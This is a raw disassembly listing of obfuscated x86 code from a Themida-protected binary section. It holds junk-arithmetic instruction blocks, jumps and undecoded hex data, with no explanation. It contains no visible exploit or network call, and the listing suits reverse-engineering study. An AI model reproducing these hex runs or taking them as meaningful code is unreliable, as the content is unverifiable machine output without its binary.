		mov	esi, 183D62CAh
		sub	edi, 134171Ah
		add	edi, esi
		push	ebx
		mov	ebx, 134171Ah
		add	edi, ebx
		pop	ebx
		jmp	loc_546CEB
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 1001h, 5C242C87h, 0C49E9h, 4C38100h,	81000000h, 4EBh
		dd 8934E900h, 83580000h, 0F581FFEDh, 3EEA0DC6h,	6085ED81h
		dd 0E9211E05h, 12E6E9h,	2434FF00h, 4C4835Fh, 0A668E9h
		dd 45D5F700h, 41BBE9h, 0EC815300h, 4, 0BD242C89h, 27505845h
		dd 1AE0ED81h, 0D5F75133h, 8107EDC1h, 0FFFFFFC5h, 133CE9FFh
		dd 2B90000h, 29000000h,	2C3359CDh, 242C3124h, 84A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54724D:				; CODE XREF: Themida_:0054F367j
		mov	ecx, 4
		jmp	loc_550F62
; ---------------------------------------------------------------------------
aStg		db '[Àì',8,'éTG',0
		align 10h
		dd 81242C8Bh, 4C4h, 0E9D02100h,	679Dh, 8324348Bh, 4E904C4h
		dd 4AFFFFFAh, 42D7C281h, 8152EE0Fh, 2E222404h, 525E489Ch
		dd 9C2E22BAh, 5AD62948h, 5EF1295Ah, 4BE9C831h, 83000080h
		dd 3EE904C4h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5472A7:				; CODE XREF: Themida_:00550EC6j
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		push	esi
		mov	esi, 196D7736h
		xor	eax, esi
		jmp	loc_5489C6
; ---------------------------------------------------------------------------

loc_5472B9:				; CODE XREF: Themida_:00549FD2j
		mov	ebx, [esp]
		add	esp, 4
		shl	edx, 8
		sub	edx, 70918D1h
		shl	edx, 5
		jmp	loc_54A575
; ---------------------------------------------------------------------------
		db 89h
		dd 0FE68241Ch, 0FF000000h, 34FF2434h, 0C4835B24h, 8082E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5472EA:				; CODE XREF: Themida_:00548B81j
		or	eax, 17C3348Ah
		push	ecx
		mov	ecx, 1C7E45B6h
		jmp	loc_5478EF
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 2, 5C242C87h, 651B6866h, 1F3CE9h, 0CB685D00h, 8900007Ah
		dd 0ACE92414h, 66000069h, 0E9240C8Bh, 78Bh, 0FFEA6BE9h
		dd 56525BFFh, 0C681E689h, 4, 4EE81h, 34870000h,	24895C24h
		dd 8814E924h, 24890000h, 2A966824h, 14890000h, 38B5E924h
		dd 0CA810000h, 3A8971B8h, 2C6EBB53h, 0E3817652h, 5455487Eh
		dd 48A6EB81h, 98E930B9h, 29000065h, 0F2095BDEh,	7EAC15Eh
		dd 68h,	24142900h, 5011E95Ah, 3C870000h, 24248B24h, 2C42E9h
		dd 1C895C00h, 46824h, 15B0000h,	241C8BDAh, 4C481h, 0B8500000h
		dd 2, 117AE9h, 241C3100h, 42CE9h, 5E5C100h, 0E902EDC1h
		dd 9EEEh, 0B2DF001h, 0FF1BE019h, 1BE92434h, 55000000h
		dd 0AD1920BDh, 5DEE0969h, 83C3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5473E5:				; CODE XREF: Themida_:0054BF51j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5512FE
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h, 66C33100h, 6600B60Fh, 66346068h, 0E9240489h, 0FFFFE988h
		dd 5F2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 8904EC83h
		dd 47E9242Ch, 66000053h, 6824048Bh, 3A86h, 89240489h, 0C7BB53E0h
		dd 0C11B1D20h, 13E904E3h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547447:				; CODE XREF: Themida_:00547BB8j
		mov	edx, ecx
		pop	ecx
		jmp	loc_551003
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1BF1E9h, 24143100h, 8B241433h, 0DEE92424h, 8900001Ch
		dd 0EA8958C5h, 51242C8Bh, 0B850E189h, 55A402E6h, 1D721A35h
		dd 5F29E949h, 0C1800000h, 80D12817h, 0E95A17E9h, 4E60h
		dd 8124048Fh, 42404h, 5580000h,	4, 761068h, 242C8900h
		dd 119768h, 811AE900h, 0FCB80000h, 0E90FF762h, 47E7h
; ---------------------------------------------------------------------------

loc_5474B8:				; CODE XREF: Themida_:0054CCFEj
		add	esp, 2
		push	0F87h
		mov	[esp], eax
		mov	al, 0DDh
		sub	esp, 4
		jmp	loc_54A87E
; ---------------------------------------------------------------------------
		dd 31241433h, 98E92414h, 0BB00005Ch, 2F253669h,	0AA88E9h
		dd 0E6895600h, 4C681h, 66E90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5474F3:				; CODE XREF: Themida_:0054EF9Fj
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	5C38h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_549B5C
; ---------------------------------------------------------------------------
		db 0E9h, 6Ah, 0E8h
		dd 489FFFFh, 0E862E924h, 0E95BFFFFh, 0FFFFE8EBh, 4B951h
		dd 0CA890000h, 5AD60159h, 5604C683h, 42474FFh, 24048F5Eh
		dd 6FDCE9h
		db 0
; ---------------------------------------------------------------------------

loc_547555:				; CODE XREF: Themida_:0054F287j
		pop	ebp
		dec	edx
		sub	edx, 0ABDB17BEh
		mov	eax, edx
		pop	edx
		push	ebx
		jmp	loc_54603A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 2BA5257h,	0E9000000h, 4B07h, 0BA525F54h, 2C5C4166h
		dd 0A456E9h, 7CE95D00h,	5C000034h, 4C8FE955h, 0F3010000h
		dd 0D1FE9h, 0E7F6E900h,	8B66FFFFh, 30E9240Ch, 80000028h
		dd 2DE9D4C1h, 51000017h, 0FFFC85E9h, 5DE989FFh,	0A5CE95Fh
		dd 4870000h, 0FB015C24h, 95A8E9h, 83C68100h, 0E9432627h
		dd 8BC9h, 0B60F66h, 3110E9h, 932DAD00h,	0E917C115h, 1E5Ch
		dd 0C36F0CB8h, 97EFE95Ch, 0C8B0000h, 6938E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5475FA:				; CODE XREF: Themida_:005477C2j
		pop	esp
		mov	[esp], edi
		jmp	loc_550C42
; ---------------------------------------------------------------------------

loc_547603:				; CODE XREF: Themida_:0054A198j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	1D92h
		jmp	loc_549D6A
; ---------------------------------------------------------------------------
		db 68h
		dd 616Bh, 89241C89h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h
		dd 3A7E924h, 0BB530000h, 7BB868B0h, 585BDF01h, 0E902C783h
		dd 64C3h, 763B3DBDh, 0CD814D5Eh, 3EAE450Ch, 609FE9h, 23860500h
		dd 335D0661h, 4312404h,	24043324h, 5C02E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54767E:				; CODE XREF: Themida_:00549B61j
		pop	edx
		not	edx
		shr	edx, 1
		and	edx, 11BB4FF7h
		dec	edx
		shr	edx, 3
		push	ecx
		jmp	loc_5478DD
; ---------------------------------------------------------------------------

loc_547693:				; CODE XREF: Themida_:0054DCC2j
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_54C1FD
; ---------------------------------------------------------------------------
		db 0ACh, 51h, 52h
		dd 0E6D0BEB6h, 0E904E6C0h, 239Eh, 3716EA81h, 5F58493Ah
		dd 9B7CE9h, 4C38300h, 5C241C87h, 4603E9h, 83515800h, 8F5404ECh
		dd 1CE92404h, 81000041h, 6026CCE6h, 0ECF6817Ah,	8102D649h
		dd 0E0F4AAC6h, 5EF38993h, 99D9E9h, 0BF574900h, 1A751975h
		dd 22E968h, 5139E900h, 665C0000h, 0E9240489h, 0FFFFE670h
; ---------------------------------------------------------------------------

loc_547724:				; CODE XREF: Themida_:0054BF24j
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_548E1E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 34FF5424h, 866CE924h, 0C1810000h, 4,	4C181h,	98E90000h
		dd 81000063h, 7059A0E3h, 8E3C101h, 0E9ECF381h, 0E8E9BE6Ah
		dd 89FFFFE8h, 2434FFC7h, 4C48358h, 248CCF81h, 814F6FEBh
		dd 762DDDF7h, 24F78124h, 15B9D43h, 1605E9FAh, 505B0000h
		dd 67FFE9h, 4C48300h, 0C681DEF7h, 2EA758E6h, 2B9EF681h
		dd 0F789F68Ch, 8124348Bh, 4C4h,	47E8E900h, 815B0000h, 4C3h
		dd 0E1E95200h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5477BF:				; CODE XREF: Themida_:0054B3A2j
		xchg	ebp, [esp]
		jmp	loc_5475FA
; ---------------------------------------------------------------------------

loc_5477C7:				; CODE XREF: Themida_:0054943Fj
		push	ebx
		mov	ebx, 0BB807A4h
		xor	ebx, 6259770Dh
		jmp	loc_547936
; ---------------------------------------------------------------------------
		dd 73D3B951h, 4C313538h, 58590424h, 0FFF7EBE9h,	241C33FFh
		dd 8B24248Bh, 0EC832404h, 242C8904h, 0BB53E589h, 4, 0D3E9DD01h
		dd 42h,	0C05B66F9h, 0F18002E9h,	964BE9BCh, 54520000h, 0DD7E9h
		dd 0C62DAD00h, 516CB47h, 665C4ACFh, 0C342805h, 2DD82931h
		dd 310C3428h, 5C4ACF2Dh, 0A644E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54783E:				; CODE XREF: Themida_:00551E4Fj
		push	eax
		jmp	loc_54D043
; ---------------------------------------------------------------------------
		dd 0E9D5F795h, 616Dh, 9D1C77FFh, 24041158h, 0FCCBE99Ch
		dd 0B450FFFFh, 58E3286Fh, 83C3285Ah, 896602ECh,	0B353240Ch
		dd 5BDD8868h, 8B66EB28h, 8950240Ch, 405E0h, 0BD550000h
		dd 2, 6123862Dh, 0E9E80106h, 0FFFFFDD9h, 0E95EF729h, 0FFFFFAF2h
		dd 0E940478Fh, 0FFFFE4F4h, 592434FFh, 496D68h, 341DE900h
		dd 77FF0000h, 59669D1Ch, 9C2414D2h, 0FFE4D7E9h,	2BBFFh
		dd 14E90000h, 8900004Fh, 0E589242Ch, 4C581h, 0FE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5478D7:				; CODE XREF: Themida_:0054D458j
		push	eax
		jmp	loc_5512A2
; ---------------------------------------------------------------------------

loc_5478DD:				; CODE XREF: Themida_:0054768Ej
		mov	ecx, 226D5249h
		xor	ecx, 227F7A97h
		sub	edx, ecx
		jmp	loc_54CB2C
; ---------------------------------------------------------------------------

loc_5478EF:				; CODE XREF: Themida_:005472F5j
		add	ecx, 0EDE52A0h
		push	eax
		mov	eax, 8CF71D7h
		not	eax
		neg	eax
		neg	eax
		not	eax
		inc	eax
		add	eax, 4ED595BBh
		add	ecx, eax
		pop	eax
		shl	ecx, 8
		sub	ecx, 819F5D97h
		add	eax, ecx
		jmp	loc_5489AD
; ---------------------------------------------------------------------------
		dd 3E7BA52h, 0D7215F92h, 1F7815Ah, 8129110Dh, 145DA6EFh
		dd 7AA3E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547936:				; CODE XREF: Themida_:005477D3j
		shr	ebx, 5
		sub	ebx, 7129694Ch
		add	ebx, 5C6A4CDDh
		jmp	loc_54AEE2
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0E95AD601h, 1EB6h, 56CFF181h, 6855350Eh, 416Ch, 0B8240489h
		dd 2A4175EBh, 46B85053h, 354FD03Ch, 43A6553Bh, 5E0C140h
		dd 862DD0F7h, 895BB666h, 0E38158C3h, 1F700DCh, 59C5C381h
		dd 0F3813BE4h, 67404EA1h, 2B9EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54799D:				; CODE XREF: Themida_:0054C2BEj
		add	eax, edx
		jmp	loc_54AB69
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 0FFFD34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5479AD:				; CODE XREF: Themida_:0054D212j
		push	ecx
		mov	ecx, 4
		jmp	loc_546540
; ---------------------------------------------------------------------------
		dd 703FF681h, 38E90BADh, 0F7FFFFEBh, 0E99C241Ch, 0FFFFE3C8h
		dd 0E924248Bh, 50BCh, 0FAF68h, 241C8900h, 0DE6B8F68h, 0EB815B1Dh
		dd 0FFFFFFFFh, 0FFE474E9h, 468FFh, 0E95D0000h, 3788h, 81E18951h
		dd 4C1h, 911EE900h, 0EC830000h,	243C8904h, 0B57A51BFh
		dd 0F774E94Bh, 0C581FFFFh, 4, 2B850h, 0C5290000h, 3A5DE9h
		dd 242C3300h, 2404895Ch, 0BB53E089h, 4,	4A52E9h
		db 0
; ---------------------------------------------------------------------------

loc_547A3D:				; CODE XREF: Themida_:0054CA42j
		xchg	esi, edx
		jmp	loc_54F1E3
; ---------------------------------------------------------------------------
		dd 8758C101h, 285C240Ch, 0E99C2404h, 0FFFFE340h, 9916840Fh
		dd 77FF0000h, 1CFF681Ch, 1C890000h, 0CFB85024h,	68350E56h
		dd 1C0Bh, 6F70E9h, 885B6600h, 0E8005AF5h, 0C52C59h, 2CC504D8h
		dd 4EC830Bh, 6B60E9h, 2434FF00h, 0E92434FFh, 4039h, 4C481h
		dd 0F1290000h, 0F2BB5350h, 8914B371h, 8BE95BD8h, 56000042h
		dd 2A41E9h, 55DFBE00h, 0CDE928ADh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547ABF:				; CODE XREF: Themida_:0054E687j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp]
		push	62DBh
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, 78450AD8h
		add	edi, 5CF22F96h
		add	edi, ebp
		sub	edi, 5CF22F96h
		push	edx
		push	edi
		push	ebx
		jmp	loc_54D6A1
; ---------------------------------------------------------------------------
		db 58h,	68h, 1Eh
		dd 8900002Bh, 68552414h, 175A56E4h, 0FFF800E9h,	24048FFFh
		dd 4EC81h, 4AE90000h, 5200006Eh, 1AB5BD55h, 0F74D5D5Eh
		dd 0B3F581D5h, 89D3D2A3h, 23E95DEAh, 0C1FFFFF8h, 0C28103E2h
		dd 3F9D545Ah, 0E95AD729h, 3B47h, 8059EA00h, 5704EBC2h
		dd 27E2E9h, 4C28100h, 0E9000000h, 92AAh, 16E9D9F7h, 5300009Ch
		dd 8AE947B3h, 8B000050h, 0C481243Ch, 4,	9EE9D829h, 6800008Ch
		dd 2278h, 81240489h, 28542404h,	515E3DC4h, 4002ABB9h, 0E9D14106h
		dd 8106E9C1h, 6E6F48F1h, 0DAE9814Ch, 8127F52Bh,	0A99B1FE9h
		dd 1686E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547BAE:				; CODE XREF: Themida_:0054C480j
		xor	[ebx], eax
		pop	ebx
		push	edx
		push	ecx
		mov	ecx, 24h
		jmp	loc_547447
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 6Fh
		dd 93E9F300h, 0C1FFFFFCh, 0E0C108E8h, 2D58E905h, 5F540000h
		dd 4C781h, 0DFE90000h, 5300008Ah, 4BBh,	245C0100h, 241C8B04h
		dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 89DAh, 1CFAC581h
		dd 0C5817BA1h, 396863CAh, 55DE801h, 4, 0FFEED0E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 264B77C6h
		sub	ebp, eax
		sub	ebp, 264B77C6h
		pop	eax
		jmp	loc_546F68
; ---------------------------------------------------------------------------
		db 0E9h, 4Eh, 0E1h
		dd 0E958FFFFh, 0FFFFF252h, 0DE6851ADh, 591D1E4Bh, 1013E9h
		dd 1C77FF00h, 6658669Dh, 9C240419h, 0FFE12BE9h,	0BCC581FFh
		dd 0F70B654Dh, 16C581DDh, 0E92DF131h, 0FFFFF741h
; ---------------------------------------------------------------------------

loc_547C7C:				; CODE XREF: Themida_:0054AE56j
		add	ebp, edx
		jmp	loc_549488
; ---------------------------------------------------------------------------
		db 56h
		dd 4A3ED6BEh, 29E94E66h, 0E9FFFFFDh, 0FFFFE100h
; ---------------------------------------------------------------------------

loc_547C94:				; CODE XREF: Themida_:005512F9j
		mov	eax, 0A560400h
		xor	eax, 28BF6DA5h
		xor	ebx, eax
		pop	eax
		jmp	loc_54DE7B
; ---------------------------------------------------------------------------

loc_547CA6:				; CODE XREF: Themida_:0054DF00j
		mov	edi, [esp]
		add	esp, 4
		neg	edx
		shl	edx, 8
		sub	edx, 41D10954h
		add	edx, 737F092Ah
		jmp	loc_54AE50
; ---------------------------------------------------------------------------
aI4IcsK		db '‰4$‰æé+K',0
		dw 8100h
		dd 1844A6EAh, 40EA8106h, 813F735Fh, 7BBF08C2h, 5AD5297Ch
		dd 8EE9EB89h, 0BD00003Bh, 724F1225h, 15DEB01h, 0EF815BDFh
		dd 4, 8B243C87h, 4892424h, 0E08AE924h, 8B66FFFFh, 5457240Ch
		dd 4C7815Fh, 68000000h,	5ADCh, 0BB241C89h, 2, 8904EC83h
		dd 19BE2434h, 1096D24h,	2434FFF7h, 4C4815Eh, 81000000h
		dd 8B1825C7h, 0C17E930h, 0C4810000h, 4,	4F27E9h, 33876800h
		dd 0BCE90000h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D5B:				; CODE XREF: Themida_:005490BCj
		or	eax, eax
		jz	loc_549E2A
		push	dword ptr [edi+28h]
		jmp	loc_550D97
; ---------------------------------------------------------------------------
		db 81h
		dd 0AC2848F2h, 11B50516h, 32D78BEh, 143EB73h, 730305D0h
		dd 0B52D43EBh, 8B78BE11h, 0C4812414h, 4, 31240433h, 4332404h
		dd 0C2095C24h, 0FE9E2D1h, 87FFFFF2h, 0E1E9240Ch, 4800009Fh
		dd 0EE3BF57h, 0E94F1F09h, 2DA9h, 43A9E958h, 74FF0000h
		dd 2BE90424h, 0BF000085h, 799E4FA2h, 5C26F781h,	88E9650Ah
		dd 53000074h, 4BBh, 0E9C18100h,	127A046h, 0BBBF57D9h, 8151A620h
		dd 3D0511CFh, 0A7E78107h, 0E909C414h, 354h, 505FFE01h
		dd 355A99B8h, 185AE96Dh, 31660000h, 0E95866C3h,	0C56h
; ---------------------------------------------------------------------------

loc_547E14:				; CODE XREF: Themida_:0054AC44j
		add	ebx, 7EDD237Ah
		sub	eax, ebx
		pop	ebx
		jmp	loc_5461CA
; ---------------------------------------------------------------------------
		dw 1268h
		dd 8900000Ah, 0CABE2434h, 536ED7D1h, 226EC8BBh,	0CAEB8167h
		dd 8133F33Bh, 841EA4F3h, 0BD555165h, 62357F30h,	835DE989h
		dd 0E1C1FFE9h, 3E1C108h, 4CEAE9h, 256B6800h, 4890000h
		dd 2BBD5524h, 0F7341F57h, 81DDF7DDh, 65038BF5h,	5DE8891Eh
		dd 25D9E955h, 0BB530000h, 6E2861E3h, 0FF11C381h, 0DD09FA15h
		dd 4BE94D5Bh, 8100008Bh, 4C3h, 241C8700h, 3F9DE95Ch, 1C890000h
		dd 1E0CBB24h, 0F381653Fh, 157E51D9h, 6E3C143h, 0F584F381h
		dd 0D8891053h, 8C54E95Bh, 29590000h, 4670E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547EC6:				; CODE XREF: Themida_:0054AA8Bj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54A5FD
; ---------------------------------------------------------------------------
		dd 0D04C7605h, 61FE0D15h, 0EC832ED3h, 242C8904h, 4EC81h
		dd 4890000h, 2C70B824h,	9CE95071h, 89FFFFDFh, 68502414h
		dd 309C25C3h, 582434FFh, 0C104C483h, 0B95105E0h, 4A4737D4h
		dd 0CB437505h, 2DC80117h, 17CB4375h, 0FFF1BAE9h, 241487FFh
		dd 0E924248Bh, 8885h, 14584E68h, 0F4E95E78h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547F37:				; CODE XREF: Themida_:0054F238j
		push	esi
		mov	esi, 5FCE15EDh
		push	ebx
		jmp	loc_5493DC
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 74EBh,	8E2C166h, 8EAC166h, 0B8665066h
		dd 21660927h, 6665E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547F66:				; CODE XREF: Themida_:0054A6FDj
		shr	ah, 1
		push	dx
		mov	dh, 3Ch
		and	ah, dh
		jmp	loc_551610
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 2C8BEF01h, 4C48124h, 55000000h, 4BDh, 81C78100h
		dd 2911FE6Ch, 81EF81EFh, 0FF11FE6Ch, 815D2434h,	4C4h, 74FF5700h
		dd 8F5F0424h, 248B2404h, 24148924h, 0DDE99C50h,	89FFFFDDh
		dd 83502434h, 0DBE904ECh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547FC3:				; CODE XREF: Themida_:005512D9j
		push	eax
		mov	eax, 4797671Dh
		jmp	loc_550051
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 5E0Fh, 8324148Bh, 0C28104C4h, 4, 0E904C283h,	2172h
		dd 0DF3BE958h, 0EE80FFFFh, 0E9F02861h, 3034h, 0C104E2C1h
		dd 0F28102EAh, 42F51D44h, 0EF38B850h, 0C2315F3Ch, 8BD00158h
		dd 89522414h, 0E6D5E9E2h, 4141FFFFh, 0FFF6E8E9h, 243489FFh
		dd 5A5979BEh, 95F6814Eh, 5618220Ch, 5E2414F7h, 7F0EEE81h
		dd 23E93755h, 64000062h, 4DE932FFh, 51FFFFDDh, 0D42BAFB9h
		dd 0B9E98128h, 0E9056F74h, 0FFFFFE01h, 4240483h, 0EA11E95Dh
		dd 0E958FFFFh, 4798h, 6E8C140h,	0C43C4B2Dh, 33CF2D7Fh
		dd 0B1353B6Ch, 565CEAE5h, 0E956C689h, 990Ah
; ---------------------------------------------------------------------------

loc_548084:				; CODE XREF: Themida_:005493AAj
		mov	cl, 0C2h
		neg	cl
		inc	cl
		or	cl, 4Ah
		xor	cl, 4Ch
		sub	al, cl
		pop	ecx
		jmp	loc_549263
; ---------------------------------------------------------------------------
		dd 4244401h, 2793E9h, 8BFB3100h, 0C481243Ch, 4,	8103E3C1h
		dd 264190F3h, 2C815328h, 8803D024h, 24478F31h, 0D0244781h
		dd 5B318803h, 2B68D231h, 8900002Ch, 48B241Ch, 0E1895124h
		dd 4C181h, 54520000h, 8324148Bh, 0C28104C4h, 4,	0FFE94FE9h
		dd 8BE828FFh, 8952240Ch, 4C281E2h, 0E9000000h, 0FFFFDEC1h
		dd 8003ECC0h, 0E4C050C4h, 9AEE908h, 4B80000h, 1000000h
		dd 0E98358C1h, 240C8704h, 242C895Ch, 0A8E95D54h, 53000033h
		dd 0C381E389h, 4, 1D29E9h
		db 0
; ---------------------------------------------------------------------------

loc_548139:				; CODE XREF: Themida_:005490F8j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54C925
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F1h
		dd 0E91A4C10h, 650Eh, 2809CF81h, 0EF811FA3h, 0F806E5C2h
		dd 5B5FF929h, 2BB53h, 0D9010000h, 0E92434FFh, 1003h, 0F988595Ah
		dd 0E9241C8Bh, 6307h, 2404875Dh, 0E924248Bh, 0FFFFF3A2h
		dd 0C103E9C1h, 0E98103E9h, 0FF81DF60h, 0E959CD89h, 94D8h
		dd 0E9E78957h, 32CDh, 8003EAC0h, 4604DAC2h, 5407E9h, 2434FF00h
		dd 582434FFh, 5604C483h, 6B68E689h, 89000071h, 27E9241Ch
		dd 5B000078h, 8DC5E9h, 2474FF00h, 40E95B04h, 81000008h
		dd 9F6A86E7h, 0EBE78116h, 0E92AD912h, 9A92h, 0E9535B66h
		dd 0FFFFE04Eh, 4A0BEA81h, 0CA01693Bh, 4A0BC281h, 0F1E9693Bh
		dd 2900002Dh, 0FEE95AD0h, 58000081h, 4C781h, 0E9570000h
		dd 0C6Ah, 88D78853h, 0EE685BFCh, 89000003h, 8852241Ch
		dd 8BD388E2h, 0C4812414h, 4, 0E9DE8852h, 4005h,	2C04C483h
		dd 4D028C0h, 453BE9C0h,	0C5FE0000h, 28C5C580h, 314DE9E8h
		dd 0FB010000h, 81243C8Bh, 4C4h,	241C8700h, 4EC835Ch, 0E9241C89h
		dd 639h, 4F440559h, 0BD2D0F8Ch,	29760E5Ch, 5CBD05E8h, 30E9760Eh
		dd 8BFFFFE7h, 1E92424h,	53FFFFDBh, 0BBh, 88CB0100h, 5B595B03h
		dd 81240C8Bh, 4C4h, 0DAE6E900h,	1168FFFFh, 0E9000002h
		dd 37C7h, 2246C381h, 875E1737h,	248B241Ch, 2434FF24h, 0E92434FFh
		dd 26F7h, 0E9E38953h, 837Fh, 0E98075B1h, 0BAF180FFh, 44C680h
		dd 5FE951CEh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5482EB:				; CODE XREF: Themida_:0054D7DAj
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_551A2C
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FFDF69E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5482FD:				; CODE XREF: Themida_:00549015j
		push	ecx
		mov	ecx, 2359137Dh
		add	esi, ecx
		pop	ecx
		jmp	loc_54CA17
; ---------------------------------------------------------------------------

loc_54830B:				; CODE XREF: Themida_:005514D3j
		xor	eax, 4E831F95h
		or	eax, eax
		jnz	loc_549E2A
		push	eax
		push	edi
		jmp	loc_551A7B
; ---------------------------------------------------------------------------
		db 31h
		dd 72E92434h, 5C00001Ch, 0FFDA67E9h, 6C33B9FFh,	814974F6h
		dd 0F66C36F1h, 0E9CF0174h, 8EA8h, 240C8B66h, 7D94E950h
		dd 52580000h, 24BAh, 0E9FA0100h, 92E4h,	24048B54h, 5104C483h
		dd 821E9h, 0C8B6600h, 4EC8324h,	54240C89h, 4EC8359h, 0E9243489h
		dd 9B44h
; ---------------------------------------------------------------------------

loc_54837C:				; CODE XREF: Themida_:0054B381j
		xor	eax, esi
		jmp	loc_550166
; ---------------------------------------------------------------------------
aLHc		db '‹$$h—*',0
		dw 8900h
aSjl		db '<$éJ‹',0
		dw 3000h
		dd 0AEE9243Ch
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54839B:				; CODE XREF: Themida_:0054EB49j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		push	esi
		mov	esi, 66BB69DFh
		mov	edi, 99449625h
		push	ebp
		mov	ebp, 5D247BB6h
		sub	edi, ebp
		pop	ebp
		add	edi, 4EE07B1Bh
		add	edi, esi
		sub	edi, 4EE07B1Bh
		add	edi, 5D247BB6h
		pop	esi
		jmp	loc_54C0B1
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 815F5424h, 4C7h, 2E92E900h, 295D0000h, 76B968C3h, 34890000h
		dd 61AB6824h, 1C890000h, 223C6824h, 1C8B1066h, 4C48324h
		dd 60D6CB81h, 86E97F43h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548417:				; CODE XREF: Themida_:0054FC5Cj
		mov	al, 0A6h
		add	al, 0FFh
		xor	al, 0E5h
		mov	bh, al
		pop	eax
		push	edx
		jmp	loc_54D874
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 2F01E981h, 0CB890B3Dh,	0E9BD5559h, 17E7F60h
		dd 0FB015DEBh, 2665BA52h, 62E93A6Ah, 2900004Dh,	0BD555EF1h
		dd 61C53656h, 815DE929h, 2966EBC1h, 5B89E94Bh, 0CB010000h
		dd 4C2BE9h, 81E68900h, 4C6h, 4C68300h, 5C243487h, 57240401h
		dd 4EB7B850h, 0DDE93314h, 0E9FFFFFBh, 0FFFFD904h, 669FC380h
		dd 0E973B050h, 44ABh, 34FFFB29h, 0C4815F24h, 4,	1C8BD821h
		dd 4EC8324h, 89243489h,	3B850E6h, 0D5F5C75h, 5B6A29CAh
		dd 7DC62D48h, 0C6015F7Eh, 16F5E958h, 34310000h,	24343324h
		dd 6624248Bh, 66240C89h, 66C8B60Fh, 0ADE99C51h,	0FFFFFFD8h
		dd 815D2434h, 4C4h, 909BE900h, 0C890000h, 5268B924h, 0DCBB4769h
		dd 8181718Dh, 4245AAEBh, 81CB2906h, 4245AAC3h, 0B8BE5906h
		dd 0E93E2B40h, 0FFFFEE57h, 31DA6850h, 40585867h, 5A5DB951h
		dd 8AE95E5Dh, 1000001h,	24048BC2h, 4C481h, 91E90000h, 81FFFFEFh
		dd 3D42404h, 835B7FA6h,	3C8904ECh, 0BCFEBF24h, 45E9F623h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548557:				; CODE XREF: Themida_:00548ADAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_548D01
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0F7h
		dd 81FFFFE6h, 7C6B64C7h, 25BCE933h, 0ED810000h,	69E15EBDh
